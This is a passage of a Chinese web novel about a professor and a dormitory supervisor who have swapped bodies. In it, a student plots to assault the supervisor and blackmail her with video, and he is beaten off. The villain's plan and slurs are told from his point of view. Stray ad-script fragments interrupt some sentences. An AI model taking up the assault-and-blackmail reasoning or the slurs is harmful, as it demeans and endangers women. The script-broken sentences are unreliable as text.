反正他爸已经结扎,而且保证一辈子只有他一个儿子,未来家业都是他的。 再者,男人么,指望他守着一个人过活,那简直是笑话,更何况他妈早就去世了。 见识过这座城市的繁华盛况,曾明凯的野心和不甘空前膨胀。 心中就一个信念,他要在这座城市站稳脚跟,他要当人上人。 而女人有嫉妒心,男人同样有。 入学第一天,他就远远见到过唐文译,只一眼,妒意滋生,那将人踩脚底下的想法就在心里扎根了。 在唐文译面前他是自卑又自负了,觉得要是同等家世情况下,他一定比唐文译优秀好几倍。 当着唐文译的面被陈雅恬爆出学校宿管痴恋他的隐秘,而那个宿管是和唐文译一起的,关系虽未明,但是他心里却止不住的得意。 被什么样的喜欢不重要,毕竟优秀的人从不缺少追求者。 可是现在,曾明凯不免暗暗沉思起来。 高校扫地僧的梗,应该没人没听过。 从女人刚刚释放出来的气势,曾明凯一时捉摸不定了,他开始怀疑对方会不会还有什么隐藏身份。 如果真的是,那……曾明凯垂了垂眸,他未必不能好好利用一番。 至于人是不是真的喜欢他,这点恬恬都说了,无风不起浪,恬恬肯定是发现了什么,不会有假的。 想到心中生出还未成形的想法,曾明凯知道这个时候必须拉着陈雅恬走,不能让她继续闹,导致最后大家都下不来台。 他稍稍又加了点力道,桎梏住陈雅恬的手,一脸歉意,语气真诚的朝沈之牧道:“抱歉,我不知道是什么情况,不过恬恬刚刚说的太过分了,你千万别放心上,我们现在就走。” 陈雅恬想说:明凯哥哥,你凭什么给那骚婊子道歉。 只是曾明凯应该是察觉到她的意图,及时给了她一个警告的眼神。 说完也不等沈之牧他们说什么,曾明凯就拽着陈雅恬进小区。 只是转身离开时,他的眼角余光不忘隐晦的在女人身上扫了一眼,心想着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 学校的宿管好啊! 等人走远了,唐文译才冲人两人背影嘟囔了句,“有病!” 不知道为什么,他莫名的就不是很喜欢曾明凯这人,觉得太装了。 等他想起什么时,回头,发现人已经上了出租车。 “咕……咕……咕咕……” 他的肚子响了。 唐文译:…… 有种风中凌乱的感觉。 所以他是谁?他在干嘛?他一早上的时间去哪了? 阳光刺得他想流泪,委屈呀! 算了,还是先回去吃饭吧。 的士停在学校门口,沈之牧下了车后,匆匆往宿舍走去。 中午的太阳挺热的,女人似乎都很怕晒,是他疏忽了,出门忘记带把伞或者戴个帽子。 这边他在学校的生活简单平静,那边白幺幺就没那么轻松了。 可能是沈教授近几天请假频率有点大,从工作开始貌似没请过假,时间都是安排得井井有条的人,突然这样真的很反常。 反正是直接惊动了沈母,下午四点多的时候直接登门入室,把白幺幺吓了一跳。 沈之牧离开后,她就去书房看书。 早上叫人吃饭时,稍稍扫了一圈,她发现沈教授书房里的书不少,而且好多都是她在以前世界没读过的。 沉浸在书中的时间过得很快,等她察觉到有点口渴时,才发现杯子已经空了。 有些舍不得放下书,白幺幺拿起空杯子离开书房。 她边走还琢磨着书中内容,到客厅时,刚好与自己开门进来的沈母对上。 白幺幺:??? 她现在要先干嘛? 沈之牧和沈父很像, 第87章 禁欲教授与被霸凌小可怜的反转人生(26) 见家长啊! 她这都赶上坐火箭的速度了。 沈母是谁,在商界摸爬滚打数十载,早炼就了一双火眼金睛。 客厅迎面撞见的第一眼,她就发现儿子的不对劲,不过只以为是身体不适导致的。 现在看人手在抖,脸色当即不复进门时的轻松。 温暖的手搭在儿子的手背上,沈母脸上担忧神色很明显,“小牧你的手怎么在抖,是发生什么事了吗?还是你身体出了什么状况,我现在让……不,我们现在直接去医院。” 她这个儿子从怀上开始就很安静,不闹腾,出生后也很好带。 按那个说法,她这儿子就是来报恩的。 一家子都是性格内敛的,她和老沈铁定是很爱很爱孩子的,只不过比较忙于事业,又不善表达。 而孩子很优秀,可以说完全没让他们操过心,也就近几年在婚事上,他们会忧心下。 毕竟她的孩子在出生时,可是被大师批命,恐终生无婚。 不过夫妻俩都是经历过大风大浪的,比较看得开,明白人活一世很多事情强求不得,一切全凭孩子自己的意愿。 怎么说了,她的孩子从小就一副精气神十足,自信沉稳的样子。 长到这么大,她还是第一次看到人这副样子,心里是既担忧又心疼。 也不知道是遇到什么事了,要不是她今天没提前打招呼就过来,这孩子是不是都不会告诉他们。 白幺幺:??? 她忙不迭的摇头,“妈,我能遇到什么事,没事的,还有我身体很好的,没出什么问题,你别担心。” 沈母明显不信,不过她也平静了些,越遇事了越不能慌,要平静。 “不许骗妈,真没什么事?那你这段时间怎么频繁推了学校那边的工作?” 白幺幺尽量让自己平静下来,然后学着沈之牧说话的语气道:“妈,你放心,我骗谁也肯定不会骗你的。” “这不是前段时间,我突然想到一个课题,最近都是在忙着研究那个课题,想尽快出结果,就有点顾不上学校的工作。” 白幺幺:灵魂互换的课题算不算,他们也的确忙着研究灵魂互换后如何换回来。 “什么课题?” 沈母半信半疑,“还有,妈刚刚看到你的手在抖,你的身体真没出问题?反正你今年的体检还没做,干脆明早过去做下。” 这? 白幺幺只是稍稍犹豫了下,便应下了。 “妈,课题的事暂时先保密,体检我明天去就是了,妈你别担心,我真的什么事都没有。” “你啊,那行,明天我过来陪你一起去医院。” 白幺幺刚想说不用的,她自己能行,只是沈母根本不给她说话的机会,已经起身了。 “既然明天要体检,你晚上早点休息,妈先回去了。” 沈母还是不放心,她决定先回去让人查查,顺便和老沈好好聊聊。 “好的,妈,我知道的。” 白幺幺乖巧的点了点头。 将沈母送走后,白幺幺急忙忙的跑到书房拿手机给沈之牧拨去电话。 他妈来了,还起了误会,更是让他明天去体检的事,肯定要第一时间和他说。 电话没响几声,沈之牧就接起来了,白幺幺赶忙将事情详细复述一遍。 末了,她懊恼道:“沈教授,都怪我不够冷静,才让阿姨担心误会。” 沈之牧下意识想摇头,反应过来对方看不到,温声安慰人道:“这事不怪你,是我考虑得不够周全,没想到我妈会找过来。” “没事的,如果明天我们还没换回来,你就跟着我妈去做体检,至于其他的你不用担心。” “好,好的。” 像是想到了什么,白幺幺语气有些小纠结的问道:“那个,沈教授,明天体检的时候,都要做什么项目?” 沈之牧:…… 他大概猜到女人在担忧什么,脸上露出淡淡笑意,“检查的项目到时你和医生沟通,他们只提供建议,至于具体做哪几个项目检查,全凭你意愿。” 白幺幺轻轻吁了口气,“这样啊,那挺好的。” “对了,沈教授,你觉得哪些项目是必做的?” 毕竟检查的是人家的身体,她总不能胡乱做决定, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到时一些比较重要的项目被她划掉了。 沈之牧想了想说:“我每年都体检,身体健康状况很好,今年不体检也问题不大,所以你去了如果不知道怎么选择,可以参考去年的体检项目。” “好的。” 也不知道是不是发现沈教授变得健谈多了,白幺幺话也跟着多了。 “沈教授,我还是希望咱们晚上就能换回来。” “还有,阿姨看着好年轻好漂亮,一点不像有你这么大一个儿子的,虽然接触时间很短,但我能感觉出阿姨很关心很爱你的。” 白幺幺说到最后,语气中不自觉透出了点淡淡的羡慕而不自知。 沈之牧沉默了会,“嗯,我妈很好的,你们以后一定能相处得很好很融洽。” 白幺幺:??? 怎么感觉沈教授这话有歧义呢?! 既然 白幺幺打电话过来了,沈之牧想了想,还是将小区门口遇到陈雅恬的事简单说了下。 有时候,信息不对等的情况下,会导致一些不必要的麻烦。 沈之牧当然不可能把陈雅恬那些话一字不差复述一遍,他是有这个本事,只是没必要,都是些污耳朵的话。 等这次灵魂换回来,他就着手把人处理了,到时两人根本没机会再见面。 在沈之牧说出陈雅恬三个字时,白幺幺脸上血色刷的一下褪去了,脸白得如墙纸,脑中就只剩四个字在盘旋。 他知道了? 他知道了! 他知道了。 她此时还在客厅,坐在沙发上,整个人像是失了魂,茫然的把双腿缩起来,双臂抱着膝盖,整个人蜷缩成一团。 似乎是想蜷缩成在母体里的姿势,才能得到安全感。 至于沈之牧后面说了什么,她根本没听清楚,也根本不用听。 陈雅恬会说什么,动动脚趾头都能猜到。 沈之牧那边很快也意识到不对劲,他皱眉担忧的唤道:“幺幺,你在听吗?” 久久没得到回应,沈之牧又加大音量唤道:“幺幺,你怎么呢?先说话,再不说话,我只能现在过去找你。” 第88章 禁欲教授与被霸凌小可怜的反转人生(27) 沈之牧的话还是起到效果了,原本仿佛被全世界遗弃了,完全沉浸在自己世界中的白幺幺终于有了反应。 “沈…沈教授…真的吗?…你信我?” 女人的声音很轻很轻,却像是她用了很大力道才说出来的,饱含了多种情绪,孤独,无助,委屈,绝望…… 此时沈之牧无比的懊恼,胸口像是压着巨石,闷得他一时发不出声来。 如果幺幺此时在他旁边,他一定会毫不犹豫的将人拥入怀中。 知道幺幺还在等着他的回答,沈之牧很快找回声音,声音铿锵有力,语气是前所未有的坚定。 “我信你。” 简单的三个字,就像是一束阳光,开始驱散了白幺幺周身的阴霾。 她眼里慢慢有光,没有哭泣,只是委屈的开始说,如同在外面受了欺负孩子,终于找到了靠山。 “沈教授,陈雅恬她撒谎,我真的没有勾引她口中的人,那个什么明凯的是谁,我都不认识。” “一开始的时候,我看小姑娘还小,并不想把事情闹大,就没和她计较,只是拼命地和她解释,可她就是不听,偏要认准我勾引了她明凯哥哥。” “后来,那小姑娘变本加厉的找我麻烦,我想过报警的,可是……” “沈教授,那小姑娘太坏了,她不仅欺负我,还威胁我,说要去我老家闹……我老家……我真的很害怕……我不能让去她的。” “我明明什么都没做的,我就是想好好的活着,可是……她……他们一个个为什么平白无故的对我充满恶意……” “沈教授,他们真的……真的好讨厌啊,我讨厌死他们。” 沈之牧哪里不懂她的委屈,他语气无意识的放柔,轻声哄起人来。 “我信你,我一直都会坚定地相信你,好了,既然讨厌他们,我们就不想他们了。” 在女人看不到的手机另一头,沈之牧眸光沉得可怕。 “……嗯,我不想这些讨厌的人了。” 光听声音,沈之牧都能想象女人在发出这声“嗯”时,应该还伴随着重重点了点头的动作。 女人真的很好哄的,情绪来得快也去得快。 当然他说的是实话,并不是为了哄人而说的。 从查的资料看,幺幺和那个叫曾明凯的明明完全没有一点交集,根本不认识。 就是不知道那个叫陈雅恬的是出于什么目的,一而再再而三的欺负他的人。 没错的,沈之牧已经自动将人归成他的人了。 其实吧,这一切都是陈丽华私心作祟,对陈雅恬扯出来的一个谎。 侄女拜托她这个姑姑帮忙看着竹马,可她就是学校里的一个小小宿管,能有什么大能耐。 实在是耐不住侄女软磨硬泡,她最终还是应下了这差事。 原本她想每回等侄女问起时,就随便扯几句谎糊弄过去下就行。 陈丽华很清楚自家这个侄女的性子,大学生可没初高中生那么好欺负。 没错的,自家侄女初高中时,在学校里干了些什么事,她这个当姑的能不门儿清吗! 可大学能和初高中时相比吗?大学生能和初高中生相比吗? 到时她真把那些和曾明凯走得比较近,有暧昧情况的同学捅到侄女那。 那丫头继续像以往那样,真去找人麻烦,到时遇到硬茬子了怎么办,不仅要吃大亏,还可能导致她的工作没了。 谎言毕竟是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谎言,几次过后,侄女开始起疑,甚至想自己跑来学校。 这怎么可以! 所以陈丽华稍微一动脑子,就想到了个两全其美的法子,白幺幺就这么被她拿来当了工具人。 别说,一开始陈丽华是真的觉得很好用。 当然会拿白幺幺来分散自家侄女的注意力,主要还是知道白幺幺无依无靠的,性子软绵好欺负。 其次,还有一点就是她嫉妒,嫉妒白幺幺的好皮相和好身材。 她哪里不清楚,白幺幺就是蒙尘的珍珠,她怕哪天白幺幺自己把灰尘褪去,或者是有人发现了这珍珠。 有些人就是这样,害怕身边的人过得比她好,同时还喜欢看明明有资本把日子过得越来越好的人,生活越来越糟糕,越来越不如她。 陈丽华就是那类总喜欢把自己的快乐建立在旁人的痛苦悲惨上的人。 只是她的这些心思藏得很好,就连她的侄女都没发现。 如果,如果白幺幺没来的话,她真的不至于暴露得如此彻底。 沈之牧试着扯开话题,开始分散白幺幺的注意,让她暂时忘记这些不愉快的事。 他问白幺幺下午都干了什么,白幺幺回答在看书。 两人就白幺幺看了什么书,以及看的书中内容聊了起来。 沈之牧很快就发现他幺幺是个宝藏女孩,很聪明,记忆力很好,看过的东西都能记住,对事物也很有自己的见解。 不知不觉,两人聊了一个多小时,要不是沈之牧这边突然响起了敲门声,两人或许还能忘我的继续聊到天彻底黑了。 白幺幺也听到了敲门声,“沈教授,有人在敲门,我们就聊到这里,你快先去看看谁找我……找你。 第89章 禁欲教授与被霸凌小可怜的反转人生(28) 曾明凯维持着姿势等人先开口,可是几秒钟过去了,对方也没开口的意思,他这才垂眸去看对方的脸。 这眼神?这表情? 恬恬明明说这女人偷偷喜欢他,喜欢得不得了,被她上门威胁警告了好几次,都没让人放弃对他的喜欢。 现在他亲自找上门来,先不管他来的目的是什么,女人见到他不应该是这副神情的? 而是应该隐忍克制着爱意,看他的眼神拉丝,甚至欣喜若狂到语无伦次。 有点不对劲。 曾明凯不是愣头青,他一时在女人眼中并没有看到半丝对他的爱意,有的全是冷漠与嫌恶。 曾明凯了解陈雅恬的,只要他想知道的,一定是知无不言言无不尽的,不会对他说谎,当然他对自己的魅力也相当自信。 被学校的宿管喜欢上,这不是很正常,不值得什么大惊小怪的。 那现在这是? 曾明凯略微一琢磨,很快便找到答案。 女人这是在和他闹脾气了! 被恬恬当众那样闹,还是当着他的面,现在又见他来了,便使起性子来。 女人么,都是这样子的。 曾明凯自动将女人眼中的冷漠解读成是对他的,是女人听了恬恬话,气上了他,要和他划清界限,收回对他的爱的决心。 而女人眼中的嫌恶,很好想的,怎么可能是对他,应该是对恬恬的。 这脾气有点作啊! 曾明凯暗暗在心里摇头,等把人彻底拿下后,他必须要好好把人调教一番。 女人么,偶尔使点小性子可以,但次数多了,没哪个男人不嫌烦的。 对于女人,特别是还没到手的,曾明凯是能屈能伸,也乐意下功夫的。 他调整脸上表情,摸了摸后脑勺,一副羞涩腼腆的样子。 “那个,我称呼你白姐吧!” 曾明凯说话时一直注意着女人的神情,见人依旧无动于衷,心里早就不知骂了好几句“贱人”,面上却不显。 “恬恬是和我从小一起长大的邻家妹妹,她性子被我们宠坏了,可是她没坏心的,一切都是出于对我这个邻家哥哥的爱护。” 曾明凯停顿了下,微微皱眉,“不过,她这样做肯定是错的,我已经狠狠训斥过她了,并警告她下回不能再那么没礼貌。” “每个人都有喜欢谁的权利,会不会爱上一个人又不是自己能控制的,所以喜欢上谁都没有错,白姐你别理会恬恬的话……你…你还是可以继续喜欢我的,这是我的荣幸。” 像是鼓起勇气才说了这番话,说完后,曾明凯这个大小伙子还难为情的低了低头,不敢去看女人。 被迫听了这么些话的白沈之牧幺幺:……这是情敌挖墙脚挖到他面前来了? 什么恶心玩意! 说的又是些什么恶心话!! 对于曾明凯,沈之牧是一句话也不想和对方多说,主要是这玩意盯着幺幺身体看的那眼神让他想动手打人。 能忍住,还是因为他此时用的是幺幺的身体,力的作用是相互的,他舍不得用幺幺的身体去做这些事。 出于对自己耳朵的考虑,沈之牧冷冷开口,“说完了吗?说完了请离开。” 他没心情应付,也不想继续听这人再说出点什么恶心话来。 曾明凯:??? 就这样? 不应该是这样的呀! 就算没有羞涩的扑过来想抱他,也该是眼中含情又含泪的问他,真是这么想的吗? 然后他重重的点头,随即女人对他的爱意再无法隐藏,奔涌而出,再也控制不住扑到他怀里嘤嘤哭诉。 到时他在做出一副觉得两人抱一起有点不妥,想要将人推开,却又于心不忍的模样。 再之后考虑到两人还在门口,对女人名声有影响,就抱着挪到屋里,啪嗒把门关上。 最后就是孤男寡女情难自禁的事了…… 这场景,曾明凯已经快速在脑中模拟过了。 其实,如果眼前真的是对他痴恋不已的女人,一切的发展应该和他事先想的大差不差。 只是,整个事件最大的变故,那就是白幺幺根本不喜欢他,甚至连他是谁都不知道。 更甚者,此时他面前的还不是真正的白幺幺,而是用着白幺幺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身体的沈教授。 如果不是身体不允许,沈教授早就给人一拳了。 他不是崇尚暴力的人,只是面前的人真的太欠揍了。 如果不知道自己还有这么个身材极品的爱慕者,曾明凯肯定不会有什么想法。 可现在让他知道了,走?这不相当于把到嘴的鸭子放走了吗? 早早就跟着曾父耳濡目染,也开始接手部分家里生意,亏本买卖他怎么可能做。 他微微垂下眼眸,遮挡住那一闪而过的阴狠。 有些女人啊,就是不能和他好好说话,欠收拾。 性格原因,沈之牧穿到白幺幺的身体里,肯定不会低头含胸的,特别是他现在站在曾明凯面前,腰板挺得笔直。 因着他的动作,哪怕是身上穿着宽松衣服,那傲人弧度也让曾明凯心痒难耐。 还有,同一具身 体,不同的灵魂,那气质也是完全不一样的。 曾明凯此行是抱着势在必得的心态,让他没讨到好处就放弃怎么可能。 更何况,白沈之牧幺幺那态度和神情也激起了他的胜负欲,想到从陈雅恬那得到的信息,曾明凯竟有点昏了头,恶向胆边生。 他快速往四周看了一眼,发现一个人都没有,才抬头看向女人,一副被她的话伤到的模样。 “白姐,你还生气吗?” “恬恬她没在这里,要不我先替她向你道歉,后面找个时间,我会带着她亲自过来给你道歉的。” “还有……还有……我有些话想对你说,我们能不能先进到屋里,不然等下有学生过来看到了,对你影响不好。” 说真的,曾明凯的皮相对异性很有吸引力和欺骗性。 如果今日面对他的不是沈之牧,也不是白幺幺,而是真的原主。 出于多方考虑,又因这是在学校,对方还是个优秀学生,原主应该会让开,放人进屋说的。 至于曾明凯,心里的如意算盘已经打得啪啪响,进去后门一关,先把人控制住,嘴巴捂上窗帘拉严实了。 呵呵,那么骚的身体就是欠艹,完事后拍上点视频,对方还能拿他怎么办。 第90章 禁欲教授与被霸凌小可怜的反转人生(29) 敢闹,谁比较吃亏? 再者,到时他直接一口咬定是女人勾引他的。 恬恬不就可以给他作证,一个没背景的大龄宿管,一个前途无量的优秀大学生,大家都知道该信谁。 沈之牧皱眉,眸中冷意都快能冻死人了。 同为男人,又怎么会看不出对方的心思。 此刻,他无比庆幸两人这次灵魂互换的时间这么长,到现在两人还没换回去。 考虑到两人随时可能换回去,沈之牧决定速战速决,不再客气。 “这位同学,你不住这栋楼吧,还有我不认识你,请你马上离开。” 曾明凯:……呦呵,还跟他演上了,装不认识。 一向被女人的捧着的,哪里受过如此冷待,还是被如此条件的女人,曾明凯脾气也上来了。 他微微垂眸,语气阴恻恻半含警告的低声道:“白姐,适可而止就好,你这个年纪应该更懂男人不是嘛?我都已经亲自过来了,你还有什么不满意的?” “其他小女生玩玩欲擒故纵可以,可你……还是算了。” 白沈之牧幺幺:……再次庆幸他们现在还处在灵魂互换中。 曾明凯,他知道,一个同事的得意门生。 以前听提起过,好几个教授都赞誉有加,不过他没接触过,没想到会在这样意外的情况接触到。 还真是让他意外啊! “请你离开!” 沈之牧已经不想和人多废话了。 曾明凯没想到他都说得如此直白了,对方还是这种态度,心里顿时生出一股邪火。 他再次不动声色的往四周扫了下,他一向好运气,果然还是没人。 曾明凯发誓,他要是继续忍下去,那就不是男人。 他快速出手,想一手捂住人的嘴,一手控制住人往屋里推,到时门一关,女人还不就任由他为所欲为。 至于曾明凯为什么会有这个胆,不怕出事,他当然不是个冲动无脑的,有风险的事他怎么可能干。 行事前,他已经在脑中进行全面分析考虑了。 对方就一个孤女,没背景没依靠的,还只是学校的一个宿管。 又有他拍下的视频做威胁,到时就算人去闹,哪怕真去报警。 说真的,谁信! 两人身份的悬殊,加上恬恬作证,到时他还能反咬一口。 毕竟,算起来,他一个学校的冉冉新星,家世外貌都不错,未来前途无量,爱慕他的女生那么多,怎么可能饥不择食的去对一个大龄宿管…… 想法是很美好的,现实却是……他被一脚踹退了好几步。 本来就已经在隐忍边缘了,没想到对方还想动手动脚,沈之牧要是还能忍,那就真不是男人了。 一脚踹出,睨了人一眼,见只是倒退的几步,并没有将人踹飞出去。 沈之牧轻皱了下眉,冷眸中划过淡淡的遗憾。 幺幺的身体有点弱,看来后面他们还有灵魂互换的情况,他要帮幺幺多锻炼下身体。 沈之牧的这一踹直接把曾明凯心中的那盆火踹翻了,他直起因为疼痛弓起的腰,眼神阴狠的看过来。 从小到大,就是他爸妈都没打过他一下,一路到现在都是顺风顺水的。 在曾明凯看来,女人就是只拔了牙和指甲的猫,毫无杀伤力。 可是现在,他竟然被那猫伤到了。 陈雅恬哪里知道他的明凯哥哥会过来找白幺幺,任何事都能说,她和她姑被白幺幺狠狠打了一顿的这种丑事,她怎么可能告诉她的明凯哥哥。 不然的话,曾明凯今天就不会贸然过来,也不会临时做出这个决定。 被女人踹了一脚,曾明凯并没有想太多,只是以为他一时不察,才会让人得手。 放开捂着肚子的手,他轻声啐骂了句,“妈的。” 都不用掀开衣服看,被踹到的那个位置肯定青紫一块了。 他活动活动了手腕,扭了扭脖子,一步一步的慢慢向女人靠近。 以为会听到女人惊恐的喊着让他不要过来,不要靠近。 只是可惜,女人脸上的表情十分的平静。 曾明凯发现了不对劲,心中隐隐也有些不安,只是心中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 所想之事没办法顺利进行,还被踹了一脚。 邪火和怒火暂时压下了他的理智,周围没人以及对女人先入为主的印象则壮了他的胆。 他朝地上淬了口,有些女人就是不能好好说话,欠收拾。 对女人动手,曾明凯是第一次,却没有半点心理压力,毕竟先动手的可不是他。 动手前,曾明凯还怜香惜玉的来了句,“你现在乖乖陪我一次,我就不计较你刚刚踢我的那一脚,而且你不是喜欢我吗?相信这事应该也是你梦寐……” 曾明凯的“以求”的两个字还没说完,面门就结结实实挨了一拳。 沈之牧是练过的,身体是限制了他的发挥没错,可对上曾明凯,却没落下风。 两人连续交手了好几招,曾明凯的理智回笼,也渐渐发现不对劲了。 可是现在的局面已经不是他想喊停就能停的,沈之牧那是招招出狠劲。 两人打斗的声 音很快吸引来同学,他们就住这栋宿舍楼,肯定认识白幺幺这个宿管的。 见到打架的一方竟然是白幺幺,一个个简直快震惊死了,没办法,白幺幺给他们就是那种好欺负的老实人形象。 而看清打架的另一方,其中有人和曾明凯是同个系的,认出他的同时,也是满脸的震惊。 一男一女在学校宿舍楼里打架本来就足够惊动人,知道两人的身份后,在场的人自己吃瓜的同时,还赶紧拿出手机喊人过来一起吃瓜。 宿舍楼很快围满了人,这事也很快惊动了学校的领导。 学校是学习的地方,在学校打架斗殴,情节简直不要太恶劣。 曾明凯在有人上前拉架时,就自己先收手。 沈之牧在他收手后,犹豫了下,也收手了。 停手后,曾明凯收起脸上的表情,换上愤怒隐忍的表情,冷着脸一言不发。 这种时候,先解释的人就落了下风,毕竟只有心虚或者做错事的人才会急着解释。 他没做错什么,只要等着能处理事情的人来了,有些话只需要说一遍就好,不需要重复说给太多无关紧要的人听。 第91章 禁欲教授与被霸凌小可怜的反转人生(30) 拉架的学生很想上来了解两人打架的原因,只是两人神色都很冷,一副不想说话的表情。 几个同学互相对视了下,一时都选择在旁边观望,不想掺和进两人的事情中。 闹出这么大的动静,学校肯定很快就会来人,他们就守在旁边看能否吃到第一手热乎的瓜。 问沈之牧后悔动手吗? 答案肯定是他后悔——后悔动手晚了。 知道他现在的身份,不好处理这件事情,人微言轻易吃亏。 沈之牧垂眸犹豫了下,回屋里拿手机打电话。 考虑到两人需要随时联系,白幺幺做饭时并没将手机留在客厅或者书房,而是带到了厨房。 手机响时,她正在揉面,准备晚上包饺子吃。 面她多揉了很多,馅料也打算准备三种,到时多包点冰起来。 低头瞅了眼沾着面粉的手,白幺幺还是第一时间走过去看下是谁打来的。 看到是沈之牧,她心中疑惑,这人现在打来难道是因为挂电话前那个敲门的人? 白幺幺真相了,只是她无论如何也不会想到,沈教授还和敲门的人打起来了。 电话接通,考虑到外面都是人,沈之牧长话短说,几句话就把事情安排得明明白白。 “我这边出了点状况,你现在来学校一趟,手机联系人里有个备注王律师的,挂断电话后,你先给他发个信息,让他开车来接你,你和他一起来学校一趟。” 白幺幺:??? 不仅要她去学校,还把律师也喊上。 白幺幺好奇呀! 沈教授那边到底出了啥状况,竟然连他都搞不定,还要寻求外援。 看情况,电话里也不好问,白幺幺回了个“好的”,对方就挂断电话了。 她来到水池边先把手洗干净,才去拿手机给沈之牧电话中提到的那个王律师发信息。 发完信息,她低头瞅了眼身上的居家服,只是稍稍迟疑了下,还是决定去换身衣服。 用了人家的身体,好歹帮人注意下形象。 王律师来得很快,发了信息后,六七分钟左右就打电话过来说已经在小区的地下停车场了。 问他需要上来吗?还是就在停车场等着? 白幺幺又不认识这个王律师,当然是让人上楼来。 门铃声响时,白幺幺已经在客厅等着了,她拿起手机去开门。 门口的王律师一身西装革履,瞧着四十出头,一派精明干练模样。 门一开,就和白幺幺打招呼,顺便解释下他为什么能来这么快。 “沈少,接到你的信息时,我刚好在附近,我们现在是直接出发去学校吗?” 王律师是沈母公司养的律师,工作能力在业内排的上号。 沈之牧有加对方的联系方式,不过他平时基本没有要用到律师的地方,因为他自己也选修过法学专业。 秉承着多说多错的原则,白幺幺先是淡淡嗯了声,算是回应对方的打招呼。 而后,她道:“直接去学校。” 也不知道沈教授那边啥情况……她真的好担心呀! “好的。” 一上车,白幺幺就开始闭目养神,避免王律师找他聊天,到时不知道要怎么回答不是很尴尬。 此时正是上下班高峰期,不过沈之牧住的小区离学校不远,车子开了十几分钟就到学校。 到了学校后,白幺幺给沈之牧打电话。 她现在还不知道具体发生了什么,不过让她都把律师带过来了,事情应该不一般,人是否还在宿舍就说不准了,所以她才打电话问下。 白幺幺这边电话一拨过去,没响两声,那边就接起来了。 “沈……我到了,要去哪找你?” 白幺幺捏着手机,第一次用着沈教授身体出门,还是到自己熟悉的学校,既不自在又有点小紧张。 白幺幺以为会要去学校某某领导的办公室,没想到对方让她到宿舍那边。 她回了个好,挂断电话,带着王律师朝宿舍楼走去。 越靠近宿舍楼她就发现了不对劲,好些学生结伴的往宿舍楼走去,路上很热闹,而这些学生边走还边叽叽喳喳讨论着些什么。 白幺幺故意走快些,离讨论得最热烈的那几个学生近些。 要是往 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 常,沈之牧这样走在校园里,肯定时不时会有学生往他这边看,也时不时会有学生向他问好。 可是今天真的很奇怪,学生们成群走一起,都沉浸在聊天讨论中。 事出反常必有妖,白幺幺同志大概猜到这应该和沈教授有关。 离得近了,学生们的声音传入白幺幺耳中。 “经济系的曾明凯真的和学校宿管打起来了吗?我们学校的宿管不都是女人吗?男人打女人,这也太那个啥了!” “这还能有假,我兄弟是第一波到现场的,不过可不是男打女,而是两人互打,按我兄弟的话说,那宿管的身手非常不错的。” “反正,男人和女人动手就是不好,不过他们到底为什么打起来,有谁知道吗?” “不清楚,两人看有人要上去拉架,就自己停手了,不过都冷着张脸不说 话。” “学校领导应该过去处理了吧?” “来了,见围着的学生太多,就想喊人到办公室去,只是……” 说话的同学卖了个关子,急得另一个同学赶紧催促。 “只是什么?你倒是快说。” “曾明凯是学校的学生,成绩优秀,肯定是听领导话的,不过咱们这位宿管态度就比较刚了,让领导等等,说她的男人很快就会带律师过来,等她男人来了再一起过去。” “不……不是吧!” 以上这声是某学生发出的,白幺幺同志发出的,在心里,无声的。 “我去,还带律师过来?这个宿管是什么来头,或者说她男人是什么来头?” “不知道呀,据住在那栋楼的兄弟说,这个宿管在学校工作很多年了,平时真的特别低调,人瞧着就是那种没啥背景,特好欺负的。” “是的,是的,这个宿管我接触过,老实人一个,听到她和人打架,我第一反应就是有人欺负她,她被人打了。” “哈哈,所以呀,千万别欺负老实人,因为老实人她也可能是什么隐藏大佬。” “是啊,谁能想到平时软的像包子的人,原来身手那么好,还有大家一直以为这个宿管单身未婚了,没想到人家有对象呀!” 第92章 禁欲教授与被霸凌小可怜的反转人生(31) “说来说去,我还是最好奇两人为什么打架,曾明凯我和他接触过,人还不错的,温和有礼。” “嗯,我也想知道,曾明凯又没住宿,两人说真的,完全没交集,就是说两人吵起来我都不信,更何况还是打起来。” …… 听了一路的白幺幺:……她有男人呢?她怎么不知道。 至于沈之牧和曾明凯打起来的事,她大概能猜出原因了。 按学生的话,沈之牧没打输,那就好。 不过等身体换回来,她还是要检查下的,要是她那身好皮哪里伤到了,曾明凯那小子就等着被她狠狠关照吧。 跟在白幺幺身旁的王律师同样听了一路,他脸上的表情经历了好几变。 最后维持表面的平静,内心则已经惊涛骇浪了。 如果……如果他的猜测没错,他身旁一脸淡定坦然走着的沈少就是话题中的宿管她男人…吧……吧! 这……这…… 王律师有点迫不及待的想确认自己的猜测,然后见一见那个把沈少拿下的女人了。 到了宿舍楼,外面围着挺多吃瓜的学生。 王律师是个有眼力见的,忙冲着学生们喊道:“同学们让让,让我们过去下。” 王律师这一声引来不少注意力,有学生认出了他旁边的沈之牧,身体条件反射的绷直。 “沈教授好。” 这名学生这一喊,众人视线齐刷刷的朝白幺幺看来,然后白幺幺又收获了好几声问好。 她严肃着脸,轻点了下头算回应。 学生们动作那叫一个速度,很快就给白幺幺让开了一条路。 有学生心中疑惑,沈教授这个时候怎么会来学校,还是来宿舍楼这边。 反正肯定不是和他们一样来吃瓜的。 或许是来找人的,有学生这么想。 人群中有个学生认出了沈之牧旁边的王律师,他家和王律师家住同一个小区。 平时进进出出时,偶尔会碰见这个王叔叔,所以知道他是做律师的。 律师? 这个同学脑中灵光一闪,然后整个人有点恍惚了。 旁边人发现他的不对劲,忙关心的问,“你怎么了?” 这个同学纠结了一秒,小声道:“你知道沈教授身旁跟着的男人是做什么的吗?” 不等人回答,他又继续道:“律师啊,你说沈教授这个时候带着律师到宿舍楼这边做什么?” 他的话就像一块石头扔进了平静的水里,一时惊起千层浪。 